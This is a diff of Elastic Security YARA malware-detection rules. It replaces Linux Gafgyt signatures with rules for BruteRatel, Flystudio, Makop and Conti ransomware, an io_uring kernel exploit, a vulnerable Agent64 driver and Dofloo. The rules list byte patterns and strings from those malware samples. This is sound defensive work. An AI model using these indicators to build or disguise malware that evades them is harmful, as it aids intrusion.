+rule ELASTIC_Windows_Trojan_Bruteratel_5E383Ae0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "807911a2-f6ec-4e65-924f-61cb065dafc6"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5e383ae0-c379-4a8b-938e-943fb1f3fd06"
+		date = "2024-03-27"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L238-L255"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "66b15304d5ed22daea666bd0e2b18726b8a058361ff8d69b974bfded933a4d8c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L152-L184"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0b506ef32f58ee2b1e5701ca8e13c67584739ab1d00ee4a0c2f532c09a15836f"
+		logic_hash = "5d87ada1c609e23742c389f8153a9266c4db95be4a5e10b50979aebc993a45e0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f"
+		fingerprint = "4a32b644ae97dfefa8766aa86cd519733ca2827a4a24d6ba5d9ac650a3559abc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D }
+		$a1 = "_imp_BadgerWcslen"
+		$a2 = "_imp_BadgerStrcmp"
+		$a3 = "_imp_BadgerDispatch"
+		$a4 = "_imp_BadgerStrlen"
+		$a5 = "_imp_BadgerMemset"
+		$a6 = "_imp_BadgerMemcpy"
+		$a7 = "_imp_BadgerWcscmp"
+		$a8 = "_imp_BadgerAlloc"
+		$a9 = "_imp_BadgerFree"
+		$a10 = "_imp_BadgerSetdebug"
+		$a11 = "_imp_BadgerGetBufferSize"
+		$b1 = "__imp_Kernel32$"
+		$b2 = "__imp_Ntdll$Nt"
+		$b3 = "__imp_Advapi32$"
+		$b4 = "__imp_NETAPI32$"
 
 	condition:
-		all of them
+		1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_9C18716C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bruteratel_644Ac114 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Bruteratel (Windows.Trojan.BruteRatel)"
 		author = "Elastic Security"
-		id = "9c18716c-e5cd-4b4f-98e2-0daed77f34cd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "644ac114-cc66-443e-9dd0-a591be99a86c"
+		date = "2024-04-17"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L257-L274"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0e70dc82b2049a6f5efcc501e18e6f87e04a2d50efcb5143240c68c4a924de52"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BruteRatel.yar#L186-L205"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ace6a99d95ef859d4ab74db6900753e754273a12a34721f1aa8f1a9df3d8ec35"
+		logic_hash = "06ffea16a0348f2276f379db150b5f9d2dbdffbcb2eee83c55c27c837ecb1e69"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "351772d2936ec1a14ee7e2f2b79a8fde62d02097ae6a5304c67e00ad1b11085a"
+		fingerprint = "471b2e5f0ae2a08accb90c602af5e892afc1f2a140b25db977df610123cf60be"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FC 80 F6 FE 59 21 EC 75 10 26 CF DC 7B 5A 5B 4D 24 C9 C0 F3 }
+		$a = { 80 39 0F 75 ?? 80 79 01 05 75 ?? 80 79 02 C3 75 ?? 48 89 C8 C3 }
+		$b = { 80 79 01 8B 75 ?? 80 79 02 D1 75 ?? 41 80 F9 B8 75 ?? 80 79 06 00 75 ?? 0F B6 41 05 C1 E0 08 41 89 C0 0F B6 41 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Fbed4652 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Flystudio_579A3A4D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Cryptominer Flystudio (Linux.Cryptominer.Flystudio)"
 		author = "Elastic Security"
-		id = "fbed4652-2c68-45c6-8116-e3fe7d0a28b8"
+		id = "579a3a4d-ddb0-4f73-9224-16fba973d624"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L276-L294"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2ea21358205612f5dc0d5f417c498b236c070509531621650b8c215c98c49467"
-		logic_hash = "fc1f501123ab7421034e183186b077f65838b475f883d4ff04e8fc8a283424ef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Flystudio.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "84afc47554cf42e76ef8d28f2d29c28f3d35c2876cec2fb1581b0ac7cfe719dd"
+		logic_hash = "6579630a4fb6cf5bc8ccb2e4f93f5d549baa6ea9b742b2ee83a52f07352c4741"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a08bcc7d0999562b4ef2d8e0bdcfa111fe0f76fc0d3b14d42c8e93b7b90abdca"
+		fingerprint = "148b27046f72a7645ebced9f76424ffd7b368347311b04c9357d5d4ea8d373fb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101797,28 +106261,27 @@ rule ELASTIC_Linux_Trojan_Gafgyt_Fbed4652 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 02 00 00 2B 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D }
+		$a = { EF C1 66 0F 72 F1 05 66 0F EF C2 66 0F EF C1 66 0F 6F CD 66 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_94A44Aa5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Flystudio_0A370634 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Cryptominer Flystudio (Linux.Cryptominer.Flystudio)"
 		author = "Elastic Security"
-		id = "94a44aa5-6c8b-40b9-8aac-d18cf4a76a19"
+		id = "0a370634-51de-46bf-9397-c41ef08a7b83"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L296-L314"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a7694202f9c32a9d73a571a30a9e4a431d5dfd7032a500084756ba9a48055dba"
-		logic_hash = "deb46c2960dc4868b7bac1255d8753895950bc066dec03674a714860ff72ef2c"
-		score = 60
-		quality = 45
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Flystudio.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "cf924ba45a7dba19fe571bb9da8c4896690c3ad02f732b759a10174b9f61883f"
+		score = 75
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "daf7e0382dd4a566eb5a4aac8c5d9defd208f332d8e327637d47b50b9ef271f9"
+		fingerprint = "6613ddd986e2bf4b306cd1a5c28952da8068f1bb533c53557e2e2add5c2dbd1f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101826,115 +106289,126 @@ rule ELASTIC_Linux_Trojan_Gafgyt_94A44Aa5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 83 F8 FF 0F 45 C2 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
+		$a = { 72 D7 19 66 41 0F EF E9 66 0F EF EF 66 0F 6F FD 66 41 0F FE FD 66 44 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_E0673A90 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Makop_3Ac2C13C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Ransomware Makop (Windows.Ransomware.Makop)"
 		author = "Elastic Security"
-		id = "e0673a90-165e-4347-a965-e8d14fdf684b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3ac2c13c-45f0-4108-81fb-e57c3cc0e622"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L316-L334"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
-		logic_hash = "149147eedd66f9ca2dad9cb69f37abc849d44331ec1b5d2917ab3867ced0b274"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Makop.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "854226fc4f5388d40cd9e7312797dd63739444d69a67e4126ef60817fa6972ad"
+		logic_hash = "3fa7c506010a87ac97f415db32c21af091dff26fd912a8f9f5bb5e8d43a8da9e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a"
+		fingerprint = "4658a5b34ecb2a7432b7ab48041cc064d917b88a4673f21aa6c3c44b115c9b8c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48 }
+		$a1 = { 20 00 75 15 8B 44 24 10 8B 4C 24 08 8B 54 24 0C 89 46 20 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_821173Df : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Makop_3E388338 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Ransomware Makop (Windows.Ransomware.Makop)"
 		author = "Elastic Security"
-		id = "821173df-6835-41e1-a662-a432abf23431"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3e388338-83c7-453c-b865-13f3bd059515"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L336-L354"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "de7d1aff222c7d474e1a42b2368885ef16317e8da1ca3a63009bf06376026163"
-		logic_hash = "1c6c7666983c43176aa1a9628fb4352f8f11729e02dda13669ca2e62aed5f4ee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Makop.yar#L21-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "854226fc4f5388d40cd9e7312797dd63739444d69a67e4126ef60817fa6972ad"
+		logic_hash = "5a6e5fd725f3d042c0c95b42ad00c93965a49aa6bda6ec5383a239f18d74742e"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "c311789e1370227f7be1d87da0c370a905b7f5b4c55cdee0f0474060cc0fc5e4"
+		fingerprint = "7920469120a69fed191c5068739ed922dcf67aa26d68e44708a1d63dc0931bc3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D0 48 FF C8 48 03 45 F8 48 FF C8 C6 00 00 48 8B 45 F8 48 C7 C1 FF FF }
+		$a1 = "MPR.dll" ascii fullword
+		$a2 = "\"%s\" n%u" wide fullword
+		$a3 = "\\\\.\\%c:" wide fullword
+		$a4 = "%s\\%s\\%s" wide fullword
+		$a5 = "%s\\%s" wide fullword
+		$a6 = "Start folder" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_31796A40 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Agent64_8Ef48Aeb : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Subject: eSupport.com, Inc OR Phoenix Technologies Ltd, Name: Agent64.sys, Version: 6.0"
 		author = "Elastic Security"
-		id = "31796a40-1cbe-4d0c-a785-d16f40765f4a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "8ef48aeb-56b2-408b-aaf1-b130d7eb1cf4"
+		date = "2022-07-19"
+		modified = "2022-07-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L356-L374"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "227c7f13f7bdadf6a14cc85e8d2106b9d69ab80abe6fc0056af5edef3621d4fb"
-		logic_hash = "0e0e901d12edd77e77a205f8547f891f483fc8676493e9b7a324e970225af3c9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Agent64.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
+		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
+		logic_hash = "a35f82202507e582e3cbc7018656545fcee1244ec1638a696f0b7c970fd5023c"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0a6c56eeed58a1a100c9b981157bb864904ffddb3a0c4cb61ec4cc0d770d68ae"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "3eab3bb33b75aec13d91d503a768001fc0da09a41c792904e4a5eab568b4f6f4"
+		threat_name = "Windows.VulnDriver.Agent64"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 14 48 63 D0 48 8D 45 C0 48 8D 70 04 48 8B 45 E8 48 8B 40 18 48 }
+		$subject_name_1 = { 06 03 55 04 03 [2] 50 68 6F 65 6E 69 78 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 20 4C 74 64 }
+		$subject_name_2 = { 06 03 55 04 03 [2] 65 53 75 70 70 6F 72 74 2E 63 6F 6D 2C 20 49 6E 63 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 [1-8] 41 00 67 00 65 00 6E 00 74 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$product_version = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E [1-8] 36 00 2E 00 30 }
+		$product_name = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 [1-8] 44 00 72 00 69 00 76 00 65 00 72 00 41 00 67 00 65 00 6E 00 74 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and any of ($subject_name*) and $original_file_name and $product_version and $product_name
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_750Fe002 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Iouring_D04C1C19 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Exploit Iouring (Linux.Exploit.IOUring)"
 		author = "Elastic Security"
-		id = "750fe002-cac1-4832-94d2-212aa5ec17e3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d04c1c19-9303-41cd-ae9c-149bb137e6cc"
+		date = "2024-04-07"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L376-L394"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
-		logic_hash = "eb9907d8a63822c2e3ab57d43dca8ede7876610f029e2f9c10c9eeace9ea0078"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_IOUring.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "29e6a5f7b36e271219601528f3fd70831aacb8b9f05722779faa40afc97b3b60"
+		logic_hash = "b1d8d6090576b4b5bcd435eb69ee1dc1f1947115d38b62364cf1730a4f08d317"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f51347158a6477b0da4ed4df3374fbad92b6ac137aa4775f83035d1e30cba7dc"
+		fingerprint = "0e50d858b8e5428a964dc70b0132659defd61e8965331fa327b1f454bf922162"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101942,27 +106416,30 @@ rule ELASTIC_Linux_Trojan_Gafgyt_750Fe002 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 8B 45 0C 40 8A 00 3C FC 75 06 C6 45 FF FE EB 50 8B 45 0C 40 }
+		$s1 = "io_uring_"
+		$s2 = "kaslr_leak: 0x%llx"
+		$s3 = "kaslr_base: 0x%llx"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_6122Acdf : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Conti_53A640F4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Ransomware Conti (Linux.Ransomware.Conti)"
 		author = "Elastic Security"
-		id = "6122acdf-1eef-45ea-83ea-699d21c2dc20"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "53a640f4-905c-4b0d-ac4a-9ffdffd74253"
+		date = "2022-09-22"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L396-L413"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "140b32a8f2b7493b068e63a05b3d9baec6ec14c9f2062c7e760dde96335e29f1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Conti.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8b57e96e90cd95fc2ba421204b482005fe41c28f506730b6148bcef8316a3201"
+		logic_hash = "b83a47664d8acce7de17ac5972d9fd5e708c8cd3d8ebedc2bacf1397fd25f5d3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "283275705c729be23d7dc75056388ecae00390bd25ee7b66b0cfc9b85feee212"
+		fingerprint = "d81309f83494b0635444234c514fda0edc05a11ac861c769a007f9f558def148"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101970,28 +106447,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_6122Acdf : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 B0 00 FC 8B 7D E8 F2 AE 89 C8 F7 D0 48 48 89 45 F8 EB 03 FF }
+		$a = { 48 D3 EA 48 89 D0 83 E0 01 48 85 C0 0F 95 C0 84 C0 74 0B 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_A0A4De11 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Conti_A89C26Cf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Ransomware Conti (Linux.Ransomware.Conti)"
 		author = "Elastic Security"
-		id = "a0a4de11-fe65-449f-a990-ad5f18ac66f0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a89c26cf-ccec-40ca-85d3-d014b767fd6a"
+		date = "2023-07-30"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L415-L433"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417"
-		logic_hash = "220c6ba82b906f070123b3bae9aafa72c0fb3bc8d5858a4f4bd65567076eb73d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Conti.yar#L21-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "95776f31cbcac08eb3f3e9235d07513a6d7a6bf9f1b7f3d400b2cf0afdb088a7"
+		logic_hash = "301f3f3ece06a1cd6788db6e3003497b27470780eaaad95f40ed926e7623793e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047"
+		fingerprint = "c29bb1bbbd76712bbc3ddd1dfeeec40b230677339dea7441b1f34159ccbbdf9f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101999,28 +106476,31 @@ rule ELASTIC_Linux_Trojan_Gafgyt_A0A4De11 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88 }
+		$a1 = "paremeter --size cannot be %d" fullword
+		$a2 = "--vmkiller" fullword
+		$a3 = ".conti" fullword
+		$a4 = "Cannot create file vm-list.txt" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_A473Dcb6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dofloo_Be1973Ed : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
 		author = "Elastic Security"
-		id = "a473dcb6-887e-4a9a-a1f2-df094f1575b9"
+		id = "be1973ed-a0ee-41ca-a752-fb5f990e2096"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L435-L453"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7ba74e3cb0d633de0e8dbe6cfc49d4fc77dd0c02a5f1867cc4a1f1d575def97d"
-		logic_hash = "106ee9cd9c368674ae08b835f54dbb6918b553e3097aae9b0de88f55420f046b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dofloo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
+		logic_hash = "65f9daabf44006fe4405032bf93570185248bc62cd287650c68f854b23aa2158"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6119a43aa5c9f61249083290293f15696b54b012cdf92553fd49736d40c433f9"
+		fingerprint = "f032f072fd5da9ec4d8d3953bea0f2a236219b99ecfa67e3fac44f2e73f33e9c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102028,28 +106508,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_A473Dcb6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 49 56 04 0B 1E 46 1E B0 EB 10 18 38 38 D7 80 4D 2D 03 29 62 }
+		$a = { A8 8B 45 A8 89 45 A4 83 7D A4 00 79 04 83 45 A4 03 8B 45 A4 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_30444846 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dofloo_1D057993 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
 		author = "Elastic Security"
-		id = "30444846-439f-41e1-b0b4-c12da774a228"
+		id = "1d057993-0a46-4014-8ab6-aa9e9d93dfa1"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L455-L473"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c84b81d79d437bb9b8a6bad3646aef646f2a8e1f1554501139648d2f9de561da"
-		logic_hash = "26bc95efb2ea69fece52cf3ab38ce35891c77fc0dac3e26e5580ba3a88e112e9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dofloo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
+		logic_hash = "c5e15e21946816052d5a8dc293db3830f1d6d06cdbf22eb8667b655206dbbc1f"
 		score = 75
